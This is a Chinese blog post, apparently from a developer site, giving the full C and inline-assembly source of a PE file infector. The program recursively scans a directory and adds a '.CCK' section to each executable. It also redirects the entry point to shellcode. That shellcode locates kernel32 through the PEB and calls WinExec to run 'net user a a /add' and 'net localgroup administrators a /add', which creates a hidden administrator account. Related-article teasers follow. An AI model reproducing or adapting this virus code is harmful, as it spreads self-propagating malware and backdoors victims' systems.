PE感染-添加节区

原创 2013年12月02日 13:29:04

网上这种东西一大堆,再次感谢大神们的分享,顺便做下记录,以后忘了也可以直接拿来用


#include <windows.h>
#include <stdio.h>
#include <assert.h>

//本程序只适用于载入基址定位的。。。非随机基址
//感染指定目录的PE文件
char ItIs[MAX_PATH] = "D:\\桌面\\感染PE\\感染目录";
//添加了一个新节区
//然后shellcode是添加一个名为a,密码为a的administrator
//然后PEB定位kernel32只在我的win7 x64电脑上测试成功,可以稍许修改,以通用


//函数功能: 以ALIGN_BASE为对齐度对齐size
//参数说明: 
//		size:需要对齐的大小
//		ALIGN_BASE:对齐度
//返回值:	返回对齐后的大小
DWORD Align(DWORD size, DWORD ALIGN_BASE)
{
	assert(0 != ALIGN_BASE);
	if (size % ALIGN_BASE)
	{
		size = (size/ALIGN_BASE + 1) * ALIGN_BASE;
	}
	return size;
}

//函数功能: 检测感染标识和设置感染标识
//参数说明:
//		pDosHdr:执行DOS头
//返回值:	是否未被感染, 是->TRUE, 否->FALSE
BOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr)
{
	if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43)
	{
		return FALSE;
	}
	else
	{
		*(DWORD*)pDosHdr->e_res2 = 0x4B4B43;
		return TRUE;
	}
}

//函数功能:	打开文件并判断文件类型
//参数说明:	
//		szPath:文件绝对路径
//		lpMemory:保存文件内存映射地址
//返回值:	是否是PE文件, 是->TRUE, 否->FALSE
BOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile)
{
	//打开文件
	hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		//printf("CreateFileA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
		return FALSE;
	}
	HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
	if (!hMap)
	{
		//printf("CreateFileMappingA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
		return FALSE;
	}
	lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
	if (!lpMemory)
	{
		//printf("MapViewOfFile %s Failed! ErrorCode = %d\n", szPath, GetLastError());
		CloseHandle(hMap);
		return FALSE;
	}

	CloseHandle(hMap);
	return TRUE;
}

//函数功能: 感染指定文件
//参数说明:
//		szPath:文件绝对路径
void FectPE(char *szPath)
{
	LPVOID lpMemory;
	HANDLE hFile;
	if (!CreateFileAndCheck(szPath, lpMemory, hFile))
	{
		return;
	}
	PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory;
	//判断DOS标识
	if (*(WORD*)pDosHdr != 23117)
		goto Err;

	PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew);
	//判断NT标识
	if (*(WORD*)pNtHdr != 17744)
		goto Err;

	//设置感染标识
	if (!SetFectFlag(pDosHdr))
		goto Err;

	//检查可用空间
	if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders)
		goto Err;

	PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32));
	PIMAGE_SECTION_HEADER pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections);
	PIMAGE_SECTION_HEADER pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1);

	//检测是否有附加数据
	DWORD i = 0;
	DWORD size = pSecHdr->PointerToRawData;
	for ( ; i<pNtHdr->FileHeader.NumberOfSections; i++)
	{
		size += Align(pSecHdr[i].SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
	}
	if (size != GetFileSize(hFile, 0))
	{
		return;			//有附加数据
	}

	goto shellend;
	_asm
	{
shellstart:		
		pushad
		mov eax,fs:[0x30]				;得到PEB结构地址
		mov eax,[eax + 0x0c]			;得到PEB_LDR_DATA结构地址
		mov esi,[eax + 0x1c]  
		lodsd							;得到KERNEL32.DLL所在LDR_MODULE结构的
										;InInitializationOrderModuleList地址
		mov eax,[eax]					;win7要加/ 好吧其实本人
		mov eax,[eax + 0x08]			;得到BaseAddress,既Kernel32.dll基址
		mov	ebp,eax

		mov	eax,dword ptr[eax+0x3c]		;指向IMAGE_NT_HEADERS
		mov	eax,dword ptr[eax+ebp+0x78]	;指向导出表
		mov ecx,[ebp+eax+24]			;得到NumberOfNames
		mov	ebx,[ebp+eax+32]			;得到AddressOfNames
		add	ebx,ebp
					
		push dword ptr 0x00007373		;构造GetProcAddress字符串
		push dword ptr 0x65726464
		push dword ptr 0x41636F72
		push dword ptr 0x50746547
		mov	edx,esp
		push ecx
loc1:
		mov edi,edx
		pop ecx
		dec ecx
		test ecx,ecx
		jz exit							;其实这个啥用都没,我勒个去
		mov esi,[ebx+ecx*4]
		add esi,ebp
		push ecx
		mov ecx,15
		repz cmpsb
		test ecx,ecx
		jnz loc1

		pop ecx							;ecx = 0x244
		mov esi,[ebp+eax+36]			;得到AddressOfNameOrdinals
		add	esi,ebp
		movzx esi,word ptr[esi+ecx*2]	;得到AddressOfFunctions的序号
		mov edi,[ebp+eax+28]			;得到AddressOfFunctions
		add	edi,ebp
		mov edi,[edi+esi*4]				;得到GetProcAddress函数地址
		add	edi,ebp						;edi = 0x771F1222

/*		xor ebx,ebx						;构造LoadLibraryA字符串
		push ebx
		push dword ptr 0x41797261
		push dword ptr 0x7262694C
		push dword ptr 0x64616F4C
		push esp
		push ebp
		call edi						;0x771F4977
		add esp,16						;恢复堆栈
		
		push dword ptr 0x00006C6C		;构造msvcrt.dll字符串
		push dword ptr 0x642E7472
		push dword ptr 0x6376736D
		push esp
		call eax						;75AA0000
		add esp,12						;恢复堆栈
*/
		push dword ptr 0x00636578		;构造WinExec字符串	ps:试过system 发现不行
		push dword ptr 0x456E6957
		push esp
		push ebp
		call edi						;
		add esp,8
		push eax

		xor ebx,ebx						;构造cmd /c net user a a /add
		push ebx
		push dword ptr 0x6464612F
		push dword ptr 0x20612061
		push dword ptr 0x20726573
		push dword ptr 0x75207465
		push dword ptr 0x6E20632F
		push dword ptr 0x20646D63
		push ebx
		mov ebx,esp
		add ebx,4
		push ebx
		call eax
		add esp,28						;WinExec要少恢复4个字节
		pop eax

		push DWORD ptr 0x00646461		;构造cmd /c net localgroup administrators a /add字符串
		push DWORD ptr 0X2F206120
		push DWORD ptr 0X73726F74
		push DWORD ptr 0X61727473
		push DWORD ptr 0X696E696D
		push DWORD ptr 0X64612070
		push DWORD ptr 0X756F7267
		push DWORD ptr 0X6C61636F
		push DWORD ptr 0X6C207465
		push DWORD ptr 0X6E20632F
		push DWORD ptr 0X20646D63
		push DWORD ptr 0
		mov ebx,esp
		add ebx,4
		push ebx
		call eax
		add esp,44
exit:
		add esp,16
		popad
		mov eax,0x11111111
		jmp eax
	}
shellend:
	PBYTE *pShell;
	DWORD nShellLen;
	_asm
	{
		lea eax,shellstart
		mov pShell,eax
		lea ebx,shellend
		sub ebx,eax
		mov nShellLen,ebx
	}
	//添加新节
	memcpy(pNewHdr->Name, ".CCK", 4);
	pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);
	pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
	//新加节virtualsize
	DWORD nSecSize = nShellLen;
	pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭
	pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment);
	pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;
	pNtHdr->FileHeader.NumberOfSections++;
	pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值
	pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要
	//FlushViewOfFile(pDosHdr, 0);

	//写入shellcode
	DWORD dwNum1 = 0;
	SetFilePointer(hFile, 0, 0, FILE_END);
	WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL);
	SetFilePointer(hFile, -6, 0, FILE_CURRENT);
	DWORD dwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint;
	//printf("原始入口点: %XH\n", dwOldOp);
	dwOldOp += pNtHdr->OptionalHeader.ImageBase;
	//printf("原始程序加载点: %XH\n", dwOldOp);
	WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL);

	//写入剩余字节
	PBYTE pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen);
	ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen);
	DWORD dwNum = 0;
	SetFilePointer(hFile, 0, 0, FILE_END);
	WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL);
	//FlushFileBuffers(hFile);
	free(pByte);

	pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress;
	//printf("新入口点: %X\n", pNewHdr->VirtualAddress);

Err:
	CloseHandle(hFile);
	UnmapViewOfFile(lpMemory);
}

//函数功能: 扫描查找文件
//参数说明:
//		szPath:需要扫描的目录
void FindFile(char *szPath)
{
	WIN32_FIND_DATAA FindFileData;
	
	char szFileToFind[MAX_PATH] = {0};
	lstrcpyA(szFileToFind, szPath);
	lstrcatA(szFileToFind, "\\*.*");

	//查找目录下所有文件
	HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		printf("FindFirstFileA Failed!\n");
		return;
	}
	do 
	{
		char szNewPath[MAX_PATH] = {0};
		lstrcpyA(szNewPath, szPath);

		//判断是否是目录
		if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
		{
			//判断是否是.或..
			if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){}
			else
			{
				//递归查找下级目录
				lstrcatA(szNewPath, "\\");
				lstrcatA(szNewPath, FindFileData.cFileName);
				FindFile(szNewPath);
			}
		}
		else
		{
			//处理查找到的文件
			char szExe[MAX_PATH] = {0};
			lstrcpyA(szExe, szNewPath);
			lstrcatA(szExe, "\\");
			lstrcatA(szExe, FindFileData.cFileName);
			FectPE(szExe);
		}
	} while (FindNextFileA(hFile, &FindFileData));

	FindClose(hFile);
}

//主函数
int main()
{
	FindFile(ItIs);

	return 0;
}


变形PE头添加节形式感染

前言:   今天我们讲的主题是“变形PE头添加节形式感染”。因为大部分的添加节过程,在对节表结构尾部空隙不够写入一个新的节表结构时,都处理的不是很恰当。今天我来给大家带来一种思路,通过变形PE头...
  • lj94093
  • lj94093
  • 2016年01月12日 13:13
  • 138

通过添加新的节来感染PE文件

所谓感染PE文件,其实就是修改PE文件,在不改变其原有功能的基础上,添加我们自己的代码,在这里我们将PE文件看作是一般的文件,只是在修改时,要根据PE文件结构 来进行update,否则的话就会破坏原有...
  • dasgk
  • dasgk
  • 2013年08月26日 10:26
  • 1150

变形PE头添加节形式感染

今天我们讲的主题是“变形PE头添加节形式感染”。因为大部分的添加节过程,在对节表结构尾部空隙不够写入一个新的节表结构时,都处理的不是很恰当。今天我来给大家带来一种思路,通过变形PE头来让我们有足够的空...
  • IT989
  • IT989
  • 2016年03月29日 16:24
  • 136

变形PE头添加节形式感染

前言:   今天我们讲的主题是“变形PE头添加节形式感染”。因为大部分的添加节过程,在对节表结构尾部空隙不够写入一个新的节表结构时,都处理的不是很恰当。今天我来给大家带来一种思路,通过变形PE头...

PE文件加节感染之Win32.Loader.bx.V病毒分析

一、病毒名称:Win32.Loader.bx.V 二、分析工具:IDA 5.5、OllyDebug、StudPE 三、PE病毒简介: PE病毒感染的方式比较多,也比较复杂也比较难分析,下面就针对PE文...

PE文件操作-末尾添加节

有时候为了某些原因,需要在PE末尾添加节,比如加壳,补丁等等,需要对PE文件进行扩展。 在末尾添加节是最简单的方式,只需要做如下修改: 修改FILE_HEADER中的节数目字段 修改OPTIONAL...

学习PE写的一个添加节区的工具

前段时间学习PE写了一个添加节区的小工具,拿计算器测试了一下,可以添加90多个节区. 先介绍一下手动添加节区的方法 方法一:(适用于最后一个节区头部与第一个节区数据之间有0x28字节的空间) ...

PE文件的修改以及增加节区

修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。 BOOL C...
  • bjtbjt
  • bjtbjt
  • 2013年08月05日 21:47
  • 830
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:PE感染-添加节区
举报原因:
原因补充:

(最多只允许输入30个字)